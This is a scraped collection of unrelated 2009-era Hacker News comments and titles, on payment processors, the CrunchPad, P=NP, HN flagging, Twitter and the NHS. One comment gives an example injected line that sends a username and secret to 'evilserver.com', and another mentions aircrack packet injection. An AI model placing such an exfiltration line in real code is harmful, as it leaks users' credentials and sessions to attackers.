skysight-inc/HackerNews huggingface dataset:
Not having GC on the iPhone is unfortunate, and I think there's a good chance we'll see it in OS 4.0. But Apple developers have a culture of not trusting garbage collection. It's irrational, but it runs deep through most of the experienced Apple devs I know. Thankfully, of all the manual memory management environments I've used, Objective-C's is the best.
Malcolm Gladwell vs Chris Anderson: a very intellectual bust up
Hey, Thanks for pointing this out. As you see out here in India we deal with round numbers mostly. It just slipped my mind that internationally its a little different.
Stoll's website says he's 56% lifetime record on football "best bets" and 54% accuracy on "strong opinions". (The article omits this and just shows a chart with some unusually strong years.) The article says:

> Gamblers wagering against a point spread must win more than half their bets (about 53%) to make a profit and must be closer to 55% to make a comfortable living.

So even if we accept everything we're being told, he's only barely ahead.
SAT is an abbreviation not an acronym. It stands for SATisfiability, as in http://en.wikipedia.org/wiki/Boolean_satisfiability_problem . The blog on P=NP doesn't appear to mention it despite having 3 posts tagged as SAT. Sometimes we don't realise we're using jargon or we don't realise the wider audience we might be addressing.

Edit: Oops, must refresh before re-joining a HN thread.
I really have to thank you on this feedback. It was just more than helpful. You have pointed out issues that my very techie mind had not seen so far. I am very well taking into account every point you have mentioned. Thanks again.
Blocks for iPhoneOS 3.0 and Mac OS X 10.5
Random numbers are hard to generate even for computer, they have to based them on the system clock to generate a seed for a semi-random sequence.

So predictions of those sequences are not unheard of.

Truly random sequences are not has easy to get has it sounds :S
I think Arrington is vastly overestimating the number of people who will actually buy a CrunchPad. It will cost more than $300, be too big to be portable, but too crippled (no keyboard, no OS, no file storage, etc.) to be anything more than a toy.
But the situation is more like me using a hammer to knock screws in and then screw makers changing the screws design so that it's harder to knock them in with a hammer because "they were never designed for that".
We switched to braintree from paypal at the beginning of the year - they are the most responsive payment provider I have ever dealt with. Our customer service that answers non technical questions also helped me troubleshoot some api issues I was having.
First up, thanks for sharing your app with Hacker News tallasif. It takes courage to bring something you made to a place where people will give honest and direct feedback.

I think you've succeeded in making an app that does one small thing simply. Congrats. Simple isn't always easy.

I have a usability concern that I haven't seen mentioned here yet. I like that the keyboard focus jumps to the Reason text box, but I feel that the "What are you spending on?" box needs more emphasis to be the clear main element of your app's UI.

The examples that jump to mind are how twitter puts the "What are you doing" box at the top centre of the app, or how Google puts a lone search box at the page centre.

Hope this helps.
BUG: Facebook connect does not work when associating with existing HN account
No clue where to submit this, so I'm doing it here. When I specify my FB account I just get "Unknown"
Ditch Your Cell-Phone Service
Don't many stocks trade below a dollar? So-called penny stocks?
Ramblings about Klein
What happens to preferred stock?
Braintree seems to have more paperwork than other providers and you can find cheaper alternatives. I signed up with another company yesterday that ties in with Authorize.net. Odd that they are down today. In many years this is the first time I know of them having a major outage.
The Triumph of the Random
We use them quite a bit and they have been really good.
Back in 2004 or so, Payflow Pro was down for a Sunday because they neglected to renew an internal Oracle security cert and the DBs stopped talking. Took 'em a day to sort that one out.

Random events and being human affect all 24/7 services.
Interesting numbers on engagement on Social Networks: 2008 vs 2009
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he has more than 3.2 million people subscribing to the techcrunch rss feed, so the actual number of people who read techcrunch is huge. And the crunchpad will profit from the network effect.

people said the same thing about ipod, iphone and other apple products, as long as you have a following, you can sell anything at any price
I found the story very interesting, but I agree with the removal of this story. It wasn't Hacker News, it was an interesting story about Michael Jackson. I would have been very happy to read that story on Reddit.
You can embed code like

ping('http://evilserver.com/?user=' + username + '&secret=' + secret)

or whatever to steal data, hijack sessions, etc.
Fantastic! I look forward to the day when a few of us (humanity) will get the chance to try living on Mars. Hopefully they will pave the way for the masses...
"'The very experts who could kind of inform everyone else don't. They actually keep feeding them the information they already know because that helps establish a connection,' Fast says."

This is a very good description of a lot of online communication, including many HN discussion threads. But I don't have to tell you that, because you already know it. I guess this generalizes to saying that it feels like swimming upstream sometimes to add significant amounts of new information to an online discussion among casual participants who may not know one another in real life. I find it easier to dig out my references and really lay out a lot of new information in some online networks I participate in with other members of a membership organization. Many of us have met one another in real life, and have already established emotional bonds over a meal or a beer, so on those networks I feel more comfortable challenging conventional wisdom. That CAN happen here on HN, of course, but it feels considerably less natural.
Could any of these be easily/legally ported as iPhone games? (perhaps with titles changed)
Could you elaborate on what is HN if not things that hackers find interesting (particularly "very interesting")? Not to be pedantic, but:

"On-Topic: Anything that good hackers would find interesting. That includes more than hacking and startups. If you had to reduce it to a sentence, the answer might be: anything that gratifies one's intellectual curiosity."

Also keep in mind that some of us no longer follow Reddit, so we might prefer if HN took a slightly broader view than Erlang innards.
I once heard Manuel Blum say that it could be shown that the result can be neither proven nor disproven given our framework of mathematics, similar to the Continuum Hypothesis. In this case, I would call P=NP an ill-posed problem.

I think the OP makes great points in his article, but the title of the blog post is wrong. He really speaks of how the scope of P=NP is misconceived by most people.
I second that recommendation. I've worked with all the major payment processors at one time or another and TC is the only one that really seemed to Get It.
To be fair, I've been an Auth.net customer for years and this is the first of this kind. Every other outage I've ever noticed was a planned maintenance.
Minimum Noise: a crowdsourced music marketplace
By keeping an eye on trends, it seems that users read comments from everyone, regardless of class, ethnic, or cultural background, or follower status.

You assume that people use Twitter to keep an eye on trends. I'm not sure that more casual Twitter users do that. I know a lot of people who use Twitter purely as a status-update mechanism, so they can communicate with their friends, figure out where other people in the office are going for lunch, etc.

I have a strong suspicion that the most-common use case for Twitter is not using it to follow trends or meet new people, and instead is very much like other social "networking" sites -- as an easy way to stay in touch with people the user already knows in real life.
Yep. Twitter's best use case seems to be awareness of what good friends are doing (http://news.ycombinator.com/item?id=139421). If people stay true to that you should never have more than 7 subscribers who post a lot.

If you want to subscribe to more, none of them can post a lot. Otherwise the infrequent posters will get drowned out and you'll be likely to miss their updates. (http://akkartik.name/blog/2009-06-06-18-18-34-soc).
Nutch is evil. It's a bot-making tool. I set up my sites to block all Nutch UA's via mod_rewrite.
The problem is the wireless adapters that don't have packet injection capability. aircrack won't work without it.

Did any of your colleges did it without a packet injection capable card?
It's sure to be as successful as seesmic.
"Nevertheless, I am sure that during the next century, people will discover how to modify both intelligence, and instincts like aggression."

Commit crime --> Get sent to Rehabilitation Center --> Get a few bits flipped in your DNA --> Off you go.

This could go Really Wrong (ex: extremist pacifists take control and turn off the aggression bits in everyone) but it's an interesting scenario.
Pizza is a physical good, Music is an informational good - there is a variable cost associated with taking one piece of pizza and turning it into two pieces - there is no (or at least a very limited) variable cost in duplicating a piece of information, like music.

Hence, although you can steal both music and pizza, the physical ramifications of doing so are different.

(disclaimer: I'm not trying to say stealing music is "less" bad than stealing pizza, but rather am just trying to state the differences between the two)
I think a pithy comment is still a good idea :)

I see now that you were making a point about the distribution of economic incentives that result from tax policy.
On eBay: 2-Hour Remote Pair Programming session with Kent Beck
I think this is pretty cool. I'd actually pay good money to have even a two hour conversation with a lot of the luminaries around here, so two hours of coding with Kent Beck must be a pretty awesome idea to someone.
There was a big story last year about a woman who was denied the ability to pay for her own care. I'm glad to hear things are changing.

But, that things are changing suggests that the system is not working to provide equal care, since there is significant demand for going above and beyond what the NHS offers.

It's essentially turning into an apartheid style system where the poor get one thing and the rich get another. Which may be the reality of the world in some sense, but is surely not the objective of the system.

That said, I think the NHS is the best nationalized healthcare system in the world b/c it does actually impose accountability on itself for costs and outcomes, and publishes the results.
the problem with flagging, is that it kills any controversial story, maybe add to the algorithm that if a story has more than X upvotes, that flagging gets disabled?

Most stories get flagged into the oblivion before they reach that threshold, so it'll be an easy way to keep interesting discussions from getting removed
MySpace sucks because it gives users far more control than they ought to have over their pages.

Facebook maintains high quality and a coherent feel by realizing that most people couldn't design their way out of a paper bag, and only giving users very basic, high-level control over their page.

IMO, everything flows from that. MySpace feels like Geocities: total amateur hour. Even if you had the exact same group of people (and I do agree there are demographic differences between MySpace and FB, I just don't think they're that relevant), Facebook would still be easier and more pleasant to use.
Good spot :) That's one of my fav films. And thanks.
"I concur with the value of keeping meta-discussion on HN to a minimum, but" decided to post a thread of pure meta-discussion. Are you sure you concur with that value?
Well, even if a given logical theory cannot decide P=NP, it is still a well-posed problem. Either there is a polynomial-time algorithm for SAT or there isn't - no middle-ground here.

But I agree, the blog isn't about this issue at all.
NHS is an exception in that it constantly self-evaluates, etc. In one case it published a report admitting that it would have been better off (for outcomes and costs) simply contracting Kaiser (a US firm) to deliver care. This sort of honesty is truly unprecedented.
When 10% of HN really likes a submission, it goes to the frontpage. Then if 10% of HN really dislikes it, the submission gets killed.

That some stories then get un-deaded is testimony to the faultiness of the system.
I did mention that it was probably a strong reason for the to extract themselves from the site. But do note the court case refers to 2006. Since then non of the 4 defendants have been in a position where you could take legal action.
I doubt TechCrunch has the expertise to make this thing as good as say, the Kindle. I know people who work at Amazon, and that company has really good engineers. I can't imagine TechCrunch does.

Arrington is just a Jeff Bezos wannabe, but he's missing the point. He thinks hardware+media=money. But it needs to be good hardware!
Sadly, Facebook isn't dull and sterile anymore. I can't spend a minute there without someone asking me to join their mafia or pushing some dumb "which care bear are you" quiz on me

To be fair, that's mostly dependent on the sort of company you keep, and you can turn off the notifications for all that sort of stuff anyway - it makes FB actually usable :)
Could you elaborate on what is HN if not things that hackers find interesting (particularly "very interesting")?

In my opinion something is on-topic if most hackers would find it interesting, and most non-hackers would not. Otherwise you might as well just drop the "Hacker", and call it "News".
Well, I may be a programmer but not all things are programming related. I happen to like speaking in French, but I don't come here to hear about that.

So, although I found the article interesting, it wasn't what I come here for.
He felt he had to resort to it.

You can be generally opposed to something, but accept it as the least bad option in a specific situation.
If David Hilbert woke up in 1000 years he wouldn't ask "Does P=NP?" but "what progress have we made on P=NP?". Once the Riemann Hypothesis is done with, it's done with, but P=NP or P!=NP opens up whole new lines of discussion.

That said, P=NP could be independent of ZF[1], and if that was shown we'd be scratching our heads asking what P=NP actually means.

[1] http://www.scottaaronson.com/papers/pnp.pdf
Just to clarify further:

In 1978, Californians voted a radical roll-back in property taxes when they enacted Prop 13. This proposition also stipulated that every person owing real property got a baseline valuation (either its fair market value in 1978, when Prop 13 took effect, or its fair market value on the date of any transfer upon its sale), from which the tax could only increase at a maximum of 2% per year.

Thus, companies like HP, which owned vast tracts of valuable property in prime areas, have reaped huge benefits from this cap because they are effectively paying property taxes on values from a different era altogether.

Young couples who bought small condos within the past 5 years are also paying far more in property tax than upper middle class persons living in fancy suburbs (those who have held their homes since 1978).

Yet, in spite of the obvious inequities that have resulted, voters won't even touch any attempts to repeal Prop 13 or even to enact special propositions that would put commercial property owners on a separate, higher-taxed path.

The reasons, I think, are those I set forth in my comment above - they don't trust what public officials will do with an expanded taxing power.
The Kindle is vastly more complex than the Crunchpad. EInk, DRM store, mobile network hardware, all sorts.

The crunchpad is basically a laptop without a keyboard, a touch screen and some custom Linux software. It's really not that complex. Most of it is just assembling components and writing some relatively straightforward software, unless I'm missing something?

Say what you like about him, but Arrington is doggedly going after this thing...
On a boat ride in Bruges, Belgium, I heard a boat operator/philosopher expound on why it was so that teachers were paid so little, rockstars like Ozzy Osbourne were rich, and famous composers like Mozart died broke.

He said it was a question of network effects and impact. Mozart died broke because of poor money management and the inability to reach a worldwide audience.

An elementary school teacher is only paid a small amount relative to most celebrities because their impact is small. They cannot reach more 10-30 students at a time.

A baseball player is paid millions because he (through cable TV) can impact/entertain many more anonymous people indirectly.

Is it fair? Probably not but there aren't incentive systems in place to pay good teachers according to their impact.

Clive James had a fascinating BBC documentary a while back, a multi-part series "Fame in the 20th Century". It's pre-Internet but I believe still very relevant.

http://en.wikipedia.org/wiki/Fame_in_the_20th_Century
The more inclusive corollary to Murphy's Law: Anything that can happen, will happen. I imagine we'll see a lot of positive change, as well as widespread injustice and abuse. So it goes.
Is it really surprising, though?

I can think of lots of situations where people self-segregate along economic or cultural lines, without much in the way of external pressure to do so. I'd imagine it has a lot to do with viewing oneself as part of a group, and wanting to spend time with people whose interests and background are similar, have similar values, etc.

I'd think this is something that academics have studied already; it shouldn't come as a great surprise that when people are released into some new environment they gravitate towards others similar to themselves.
The hardware design is being outsourced to a company specializing in it. IMHO it has a better chance of being better designed than kindle. By the way, Amazon has good software engineers. I don't know if they even have hardware engineers on their payroll. So arrington and amazon are kind of on equal footing on talent [except for the money that can be pumped into development].
If you took out the people trying to market something (or themselves) there would be hardly anyone left
There are a lot more tools for manipulating XML than just for HTML. Also I gather that operating on proper XML (eg XHTML) is less resource intensive. XML has namespaces allowing inline inclusion of SVG, MathML and the like. XHTML has RDFa to provide inline metadata (semantic web stuff).

The XHTML transition seems to have failed mainly because IE6 would baulk on XML mimetypes and offer to download them instead of rendering.

This just seems to be "XHTML is dead, long live XHTML5" ?

There were a few blog posts about this a couple of months back but I held off. Looks like it's time to go back to HTML doctypes after 7 years or so. Should I be reverting to HTML?
“Who the FUCK are you? And why are you eating our pizza? We work for Limewire.”

“Oh ok. Well I work at a record label so fuck you. You’ve stolen from us enough.”

In Kosuke's and Paul's eyes, Limewire turned stolen music into pizza and proceded to call the pizza entirely theirs.

Is it not, in some way, ironic?
I believe the referenced story qualifies under that metric. In part, it's revisionist history -- and thereby anti-mainstream. And I very much doubt that the TMZ crowd would even be interested in parsing stories told from such a business/technical perspective. But that's neither here nor there.

In all actuality, I do sympathize with the rational for your proposed metric. I'm just pointing out that the nuance and angle of a story can push something distinctly into that category in cases where simply reading the title might lead one to have a "Not HN!" spasm.
If you're just following friends, doesn't Facebook do everything Twitter does and more?
There is a great comment in the article from a person who worked at Accenture...

"I finally quit after walking out of a berating meeting from a boss who reckoned I'd done a project too fast and produced an executable that was too small. "We quoted them three point two million for this. We can't give them a 500 Kb executable after a week and say it's done"
Existing discussion here http://news.ycombinator.com/item?id=686041
I can't imagine why anyone would ask Accenture to program something as critical and technically demanding as a trading platform. Their public record here in the UK is appalling - the NHS and British Gas are two horrendous cock ups that spring to mind. How on earth do they win these kind of contracts? Brown envelopes?
Best Selling iPhone Apps Have Relatively Stable Prices
I'll throw more support in for Braintree. We use them, and they are great. Their customer vault API is simple, straightforward, and very effective. They've been quick, and their whole system just makes slightly more sense than the others.

It's still credit cards, and it's still magic... just slightly less painful than other providers that I've used.
I think there is some value in a twitter client that filters for you. The canonical example that comes to mind for me is a couple of friends of mine who are sports enthusiasts and when the #redwings begin flying I am less than interested; but they still have worthwhile things to say about topics I am interested in.

I also don't have that much time for twitter, there are a number of people that i follow whom I don't need to know what they had for breakfast, but I would like to know what they thought of a site or idea. That's a harder nut to crack, some sort of adaptive learning filter might work.
I have to applaud Michael Arrington for going out of his comfort zone and taking on a sizeable project that is not guaranteed to be successful but if fairly successful, will make a small impact on the tech industry, rather than just reporting on it (like he does now).
FWIW, you're one of my favorite posters and commenters. Your posts often feel as a new idea.

Perhaps your beliefs and views are different enough enough from the established practice (of education or other) that what is old information to you sounds like new information to others (me). You may feel as though you're swimming upstream, but I simply find a new idea to play with.

I really do enjoy your posts.
My understanding is that flagging a submission brings it to the attention of the moderators, who decide whether or not to kill it.
If a story has enough flags, that alone will kill it, without moderator intervention. I just added a point threshold to prevent this happening to stories that have received a significant number of votes.
New York is a tough place!
http://www.gizmag.com/first-electronic-quantum-processor/121...

http://www.dailytech.com/Researchers+Claim+First+Real+Quantu...

http://en.wikipedia.org/wiki/Quantum_computer

http://en.wikipedia.org/wiki/Quantum_mechanics

lol. fast computers. real fast.
imeem.com used cybersource (authorize.net) for micro-transactions awhile back and the API was pretty straight forward. Support was very responsive. International payments is a whole other game.
There's also politically correct censorship going on, amazingly. This morning I submitted this: http://isteve.blogspot.com/2009/07/medias-bias-toward-englis... . It was dead on arrival, marked [dead] immediately, presumably because that blogger is "divisive" and "racially insensitive". Please read that and judge for yourself if it is interesting.